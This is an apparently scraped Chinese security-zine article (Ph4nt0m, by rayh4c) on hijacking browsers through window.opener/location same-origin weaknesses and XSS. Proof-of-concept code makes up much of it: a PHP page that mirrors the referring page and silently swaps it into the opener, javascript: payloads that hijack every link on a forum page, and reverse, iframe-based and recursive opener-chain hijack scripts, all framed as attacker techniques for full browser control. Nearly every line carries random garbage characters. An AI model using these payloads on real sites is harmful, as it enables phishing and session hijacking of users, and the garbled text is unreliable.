==Ph4nt0m Security Team==
4 D: C# N4 L0 I; G1 i7 g ) J4 E1 g3 g! [
Issue 0x03, Phile #0x05 of 0x07
, {3 Q; Y% O" b8 H( }, ~) K6 K 6 }9 q3 ]% H. F; i* C" c
5 l5 [4 i+ P; y5 n0 G& M, @- ?|=---------------------------------------------------------------------------=|
. d& r; U3 T6 l5 D$ u* ^2 U. o|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|% u% u: f" b% s) X: Y
|=---------------------------------------------------------------------------=|
4 P# d' }4 Z0 V3 E9 B: z- J( I|=---------------------------------------------------------------------------=|+ F' v# l. }: {- k
|=------------------------=[ By rayh4c ]=---------------------------=|
1 {, P" x8 {# [& d9 B9 z6 j|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
) J+ @* j& W+ z7 {. L|=---------------------------------------------------------------------------=|: ~% j7 Z5 K2 H/ B! a4 [3 w
H* W y- X4 M/ c
- L! I0 ~9 N- T8 N4 Y3 H9 e[目录], x) F- K3 k7 H
4 G% B% K$ _4 R f
1. 前言8 `6 T% ~. [* m, v) F5 z1 V5 o
2. 同源策略简叙: X3 r! o- k# E9 G
3. 理解window对象的同源策略0 V: E: i8 l% R9 N8 ~6 t+ y& R/ M y
4. 窗口引用功能中的同源策略漏洞( }/ @0 c2 z! @3 Z
4.1 父窗口引用子窗口的同源策略问题
8 J4 z2 q3 t8 U 4.2 子窗口引用父窗口的同源策略问题( V! x8 N5 A) w' E2 I2 z0 i
5. 利用窗口引用漏洞劫持浏览器" J3 _2 `* F- [
6. 利用XSS漏洞劫持浏览器7 S+ m9 t7 v" [% C" H ? Z
6.1 正向跨窗口劫持
: W: w) g7 O7 d5 S+ ] 6.2 反向跨窗口劫持2 W$ t! w& N2 ]' Q5 f9 u
6.3 极度危险的跨框架窗口引用劫持
) m: B- T( l& e9 ~# u6 @2 X 6.4 极度危险的正反向跨窗口递归劫持3 Z. A# x @! A1 m
6.5 完全控制浏览器8 m( Z/ G% ^, r; ^+ k# \( B+ d
7. 后记
7 f0 X" _- L. |% J7 j( _, y8. 参考# O; C4 ~: Z0 e' d: z, P! O/ A3 _
" E% x3 Y/ Y0 F4 b" J6 v
) ^, ]- F5 a% @
一、前言# I- `) s- y, y1 c4 X
, z" y3 `& B! F/ c9 S9 w" V( O( k
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
7 X n2 m7 B! k- _# j, h3 p6 G! q1 v友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session. Y9 y/ N. _4 \. Z* |! N5 A
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
, h5 P% n5 G* k- ~ d, r+ E条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。% L! p. ?! l/ Q2 \/ U$ r% H
; V' W# c; B8 Z* @) p J# ^
( r. Q: x' v0 j9 z, d' z二、同源策略简叙
4 O# N8 [4 J7 L* D
( c Z+ l' z z 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以7 c$ n% W! ]& {; q
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都7 Z- }5 I4 n X2 K3 i' ^% b7 p
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
- j) U0 j3 d- s# H8 }马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
6 |* [2 g" l0 i- ^6 [6 c1 ~漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。 X; @+ Z; G( m
; O- b! U' E3 }# o' ~
7 O( l! K0 Y+ S* v
三、理解window对象的同源策略/ C. o: q9 t |( \
' G" \" j+ Y3 ~. b7 O. a 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
4 y0 w; ?* q& ]4 S0 U) X* |, l1 j1 W/ P" m8 T象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
" n. N, w6 h! @8 ?6 [% l( j, o6 Q
7 _* W. f7 X; p( j--code-------------------------------------------------------------------------
6 r+ X" G: V7 C W& y# K/ a& t<script language="javascript">
5 s$ _5 i5 q# W8 v8 c) ]for(p in window) document.write(p+"<br>");
. C; U g5 j& i8 Z: m</script>9 `' Q- f8 v* ` j9 h3 `
-------------------------------------------------------------------------------7 c W7 V ?6 `3 l
" g' m: }" l* ]# e: Q7 \
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
: o- o2 ~' Z2 X法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
. z9 K$ g9 R* Y$ \- d8 t" A8 ~这些属性和方法就必须遵循同源策略。$ v9 t) m+ h p6 i# p4 X9 M
- E& }" K( m/ U* x! _" {. W, S8 j 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那, @% ^7 o4 r8 H/ w8 c, T( a
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
/ f/ D) O* I. _- H( s, {的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这% M1 J' G& z2 V+ f, j$ x9 X
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
/ F6 D S$ J3 N$ }4 ?, a值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location0 l9 X' m, K" q' r" }8 W, ?4 j
属性并没有被拒绝访问。 @5 Z4 n0 B0 [2 w. }2 C* b4 w2 ]
8 i% }& \9 a; Z# x( K--demo.html--------------------------------------------------------------------) B) K) S* [' \) S1 g, F: }
<script language="javascript"> + b/ M$ ~# ]" M9 ]9 g: @" ^
function allPrpos(obj) { 5 A9 J7 w6 `4 i4 O/ Z( R5 E
var props = "<table><tr><td>名称</td><td>值</td>";
, Y* n: O9 H( H for(var p in obj){
6 ? t+ ?2 t- [- \4 O, a9 I: |, ] if(typeof(obj[p])=="function"){
3 I* M, X1 Q$ }) z5 T9 x, f obj[p](); " W, c- s* ]) S) o! [
}else{
- ~ l8 H- h7 J" Z1 ?5 ] try . }! N% q( [5 s: z, R2 }
{
$ v. }' M# T: G7 ? props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
( Q ^, s# \! O* i } 0 D- q; }8 S: A
catch (ex) 9 _2 J6 t( R$ Y8 ^$ I8 g& E7 ~
{ * @& l: m5 B9 t' ]! |
4 [) S; i/ [" n- ]- m j) _ props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; 2 R' B+ n3 O9 s4 y7 j. O( { Q
}
/ G( S, z* h% W& ~- o' P * j4 h) Y& c I j7 y, O. s: n
} 3 z3 Z9 p9 {" b' s' @
}
) I+ D7 G5 s) b. u( Z& J' ^$ L / G' ?5 k7 {( k! E6 V
document.write(props+"</table>"); 2 i* z- ^, J4 ?5 e) u! \0 v
} 1 v% } ]9 A8 ~* L/ v% U& z! D
; O9 j' e+ n! p4 ^function createWin() {
# \+ H" c. e* ` newWin = window.open ("http://www.google.com");
z( A7 A% Q3 J4 b- m4 G1 z3 Q; j setTimeout(function(){allPrpos(newWin)},2000); 4 Y* {9 V6 p: O
} 7 ?; V! E. a5 d9 d
: n, Z6 F" M- R1 t" X G
</script> 6 k! `1 d; z' B$ q2 v0 M( a
6 J2 o7 Z+ a3 t- {1 D+ @! L/ v<button onclick='createWin()'>创建一个非同源子窗口测试</button>
0 {2 l" W1 N5 C2 ^-------------------------------------------------------------------------------- Y3 Q: w) ]. Q; C& b
; t/ d% M! _: g* A" R Q a0 C/ J! c6 t, d% e; u; b
四、窗口引用功能中的同源策略漏洞! k+ B9 m0 I! x/ p) w C0 \
7 E4 \$ k1 Z: M* H7 t) l, o4.1 父窗口引用子窗口的同源策略问题4 d1 X6 E% | k% g# t, k
. {7 m3 U& r; J r0 W3 j; b- l# _ 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
% I* m, }3 p4 I- \- x1 y但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道' f/ O a0 _7 M6 s8 c, E. S
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进9 q; w, d% M/ z, A% [. u
行测试,会发现父窗口可以控制非同源子窗口location属性值。8 A0 P- k. ~5 U4 z$ k
! y+ u% ?$ U2 z. l--vul1.html--------------------------------------------------------------------
: e& u$ N& X& C, }$ k; A' q<script language="javascript"> : V$ V h9 i ^! n3 L
function createWin() {
7 A- Y8 s' `0 p4 K' {+ N newWin = window.open ("http://www.google.com"); ' J, E4 H* H: m
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); ' ?/ U6 M' m7 h6 Z" |) u
}
/ `# R, Q+ Q" q) f0 [/ {</script> L2 l0 k. h, l, u7 f! f
! W( Z0 I# X% s4 X; {* c2 I
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
4 o- j( U F+ C: f" [-------------------------------------------------------------------------------6 E0 Y% M) A/ Y- y5 r. g
0 t2 }# m2 t& y7 y6 H* F
$ ?, r) j& Y% d4.2 子窗口引用父窗口的同源策略问题1 ~4 U' n; x: g- H9 O- {' d
* H" `& v8 q3 l- n r3 c
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使! q1 N- S. k4 s& y7 }0 J
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们% ]1 J8 u! u+ `" n* E6 g" ~' [
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
3 G% R( p9 C3 K" v! h5 k( s3 R会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。& X& K( B# R, }' B& T( O# b4 l( @* x/ Y
* I) R2 z( e2 Z+ w--code-------------------------------------------------------------------------1 @- X2 ~+ h: U3 U3 A8 Z2 ~
2 v# K# W9 a* _0 b2 W q' O* t
javascript:window.opener.location = "http://www.80sec.com";void(0);9 s+ M6 Q# h8 t4 n
' [# _% g7 D" @4 Z1 N* l1 Y# N-------------------------------------------------------------------------------
% c* E6 G" }# g; o# M
8 Q, N& m! I) I0 D2 C/ U E2 [
# P1 V8 n- L; R! k五、利用窗口引用漏洞劫持浏览器% o/ w- d. v: P$ [, `; P# U
; m+ P/ }" y9 W- A2 C 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子+ m5 M/ M# q7 G6 i1 p8 @) a
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
4 U& k% ^' W2 a' b/ p' ?么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。 u2 y1 n+ `5 ?) t
9 p1 i7 u) L7 q# }- m' [ 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产; |: y& _ u$ @) C. e5 m
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
r( ?; {9 M) b6 n5 [6 L& c/ o2 S者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接8 |7 H2 O! ?. J
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下7 N" z: z( u' V- t7 }) @8 N
会产生什么可怕的后果。3 ^+ o0 j& P* [% T" v6 W% ~' w
. [4 ~$ ?0 r7 ^: ?: k
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
1 T/ Q8 J4 F9 [% S |们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php: Y# D- O5 Z" G) t. F( g
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时4 E) M% _0 d# H! {1 Y! o! M& w
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
8 [5 M: @2 f7 h0 E& y0 o以做更多的事情,所有的一切仅仅是因为点击了一个链接。
0 }! v+ ^ N5 N7 x( q8 H, t
# o9 Q! K( v; y8 ?8 I' `; _0 |--hjk_ref.php------------------------------------------------------------------
: K. _; a x8 |3 W* }) c& C<?php+ n! U7 j/ S; J9 z4 b
if (array_key_exists("HTTP_REFERER", $_SERVER)) {: A# h0 C/ T3 [/ f) U
$Url_Mirror = $_SERVER["HTTP_REFERER"];! m$ {1 [: F8 W6 A, j7 q4 W" @8 q9 J
} 8 G6 [, n0 \0 \: E
if(isset ($_GET['ref'])) {
' _9 g- E: P+ {# L7 v, ^0 u8 cecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
# r9 ^3 F" i5 m( z4 \3 k+ ^}+ G3 r [# x# e9 C* E) r5 G
?>
4 ^* b' l$ W% u& r, u0 S6 q+ z6 y" C. Z
<script language="javascript">) u2 X' Z' r2 C) t
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); 1 \* E% @5 X$ n% H/ }
</script>
l$ |' o2 F& L& g c-------------------------------------------------------------------------------
( G3 x0 j; N2 u8 V
$ T) x4 g' E4 F 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
. _" ?3 z# y+ c+ n
# Y G" @3 ?# P" V% l$ {. x f- x" _( e# R& g
六、利用XSS漏洞劫持浏览器
7 z- L- q9 O0 b' O. J8 @
8 b+ M, m: w- ~ 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为2 a" l. v- a. n: c+ O
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后% _5 _; Y8 T- D+ w( F% {, R# e
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起8 \; M) q4 s( V% T4 n+ z. u
讨论跨站师的终极技巧:+ G( T! |/ S) Q2 |" A
# o9 N! n+ k8 N: g3 q: _6 X- R* A8 D: p4 R
6.1 正向跨窗口劫持
/ H: e1 }! w; Z7 V2 y. t% G s
; n* [& s+ j9 w9 K* Q! c 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛! D5 K7 m/ f5 Y q# O* D
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
' g$ v( A u. s _/ ^接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话' g. V+ @7 \$ f+ b4 ?4 \
框脚本。
: a O8 [8 r' J: h9 r* m$ D5 ?6 `
3 o4 O" b& K3 m" y--hijack_open.js---------------------------------------------------------------3 n! R1 B$ W. V( P5 V5 S
( [& _; s9 ? y
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
# p& K9 n V/ q+ F$ T, ^* z6 P( j3 O) |5 E. z% V6 l, H
-------------------------------------------------------------------------------; r) c4 i+ F H- q: j
, t6 H9 r3 a: V% _; L y
$ P2 `' B0 o1 ?5 O2 R
6.2 反向跨窗口劫持; O5 W4 t( N. e. }
" {- x: U7 A( w3 Q: E
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
+ `. n/ X$ b# k& A" D码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话9 `, u: i/ y+ ^* ?' M$ x, [& L; H# k
框脚本。
$ A5 |, N: D/ p \ R) C e/ s: ?: E6 y9 x
--hijack_opener.js------------------------------------------------------------- u- t; n4 e1 a H1 E) Q
" t" I& U2 K9 L1 Hjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);9 {) l' @; g+ @1 C/ x' C9 y
8 L4 t- [1 G4 I# e2 W9 x6 l-------------------------------------------------------------------------------
5 P+ H/ M# O1 \) z% A: H! I" G; D B) K: h4 z1 V5 U& D: g
! g1 R% s K3 k7 M
6.3 极度危险的跨框架窗口引用劫持$ ~9 Q2 X2 I" p; G
6 h( G' p) T! l0 D8 l" ] 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
1 V9 v% j2 h- W$ `. c5 Y+ O可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
7 H( u; ]5 o" h1 j8 k% n适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个# Q: Z' D8 [' z1 `
非持久型的XSS,如下:# F. ^) q# ~3 [& \/ ^: v
' U. B8 Z6 {" Y' O( x- s<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>7 @# e9 T5 @6 K' m
5 ?4 {" E# [4 u% w! f. ? 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
7 ], y ^' f3 U- u( A& R& ^注入脚本。. e4 o8 l3 k" L8 U! n$ e
5 ~ q- B7 x( O: v
--hijack_frame_opener.js-------------------------------------------------------
7 g7 r1 |5 M, ~" T, I4 F<script>
. M. d7 d4 b$ T1 Nwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
5 F6 k( d& G; V5 o/ B1 f</script>0 A: {+ H6 g/ C4 ~( n
-------------------------------------------------------------------------------' _& [+ a0 [! u2 n% `1 Q5 h/ V
2 I' b! y5 M! L+ p8 U' s: |
K1 Z; m& e [: |* N2 [6.4 极度危险的正反向跨窗口递归劫持
2 s# K0 P$ z7 \: G- \# s! `# j* A) q5 y
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
& [+ `4 F8 @* ?5 R的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过5 K% a, r3 g# v
异常处理规避之间跨域页面的访问异常,代码如下:, T1 q0 r0 t" y* \" w4 k3 P
6 V6 \, u: O( H0 @" w; p--code-------------------------------------------------------------------------, ^) f* F; R2 a% O! c* H4 Z4 E
$ z* A6 ?& j; E& @! Sjavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);- F4 c" T0 A8 ~( S# x
! ~- i& q& O4 x9 `; Q
-------------------------------------------------------------------------------
0 Z$ s& Q; M0 S$ v/ j3 _1 b1 N% \) T( F0 @, K
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
' @) S- C. ~. t, s: M' ]& n以劫持B域之前的A域页面,从而实现“隔空打击”。0 _6 E# S% V$ I) l
* _9 a- G* F; b& U- f2 M 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面: g" \$ X4 {8 L" S
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
( m7 g7 A& _0 H1 n
6 M7 r% I1 x2 x2 ? 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
* W! V5 n1 m, s7 e$ I" h! L. M6 r. e$ z1 h1 I( s" Q* w/ P
7 d; |4 L" ]% h0 g: s! Y' ^6.5 完全控制浏览器
/ S5 x, ?8 h& |, } ^! O$ Y9 `+ S! `$ y$ c1 {$ I
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则. k" V: u$ x, x% @3 t# o" O' x7 ?
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
- F; @( [: k% H8 _/ T漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失# Z, o( Q6 ~* _" \
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再5 w' W- G" Y" A% H L5 g9 K! E
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站: ?0 t9 [& C# E; q- \$ V
师的终极目标 - 完全控制浏览器。
$ ]$ ]1 b# k1 b; A5 d
" a4 ^- ?4 T8 m- F4 G
% U; l+ ~* A4 d( B! u/ I) K6 S. c七、后记- F, O# k C6 |1 g
" ~' O$ p# |% g9 } 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
. p6 n% Y9 |5 H与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予+ m+ A, J' k7 T% p1 `& P; g
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。$ y6 b% Y' f. U7 z0 W V3 m1 o4 I" j
* o! J3 ]' |- A
; t# ^; _ e$ [! {) }
八、参考
$ c$ I/ A" ?, f% d7 Z" V% ?: V( E7 w3 E( C/ i6 n
1. http://en.wikipedia.org/wiki/Same_origin_policy+ @* g" F/ f5 A/ y% p* J0 c
2. http://code.google.com/p/browser ... licy_for_DOM_access( ~; v4 Y# ]$ ^5 `
3. http://www.w3.org/TR/Window/
+ I% b' a' @) M5 d) H: M' {8 P4. http://www.80sec.com/release/browser-hijacking.txt
! q4 m! u/ Q2 s5. http://www.80sec.com/all-browser-security-alert.html$ N2 E: \: d$ R+ ^
6. http://www.80sec.com/ms08-058-attacks-google.html4 x) ]4 A- v- ]
" m% Q4 R9 q& ^: z7 I6 l0 b
-EOF- |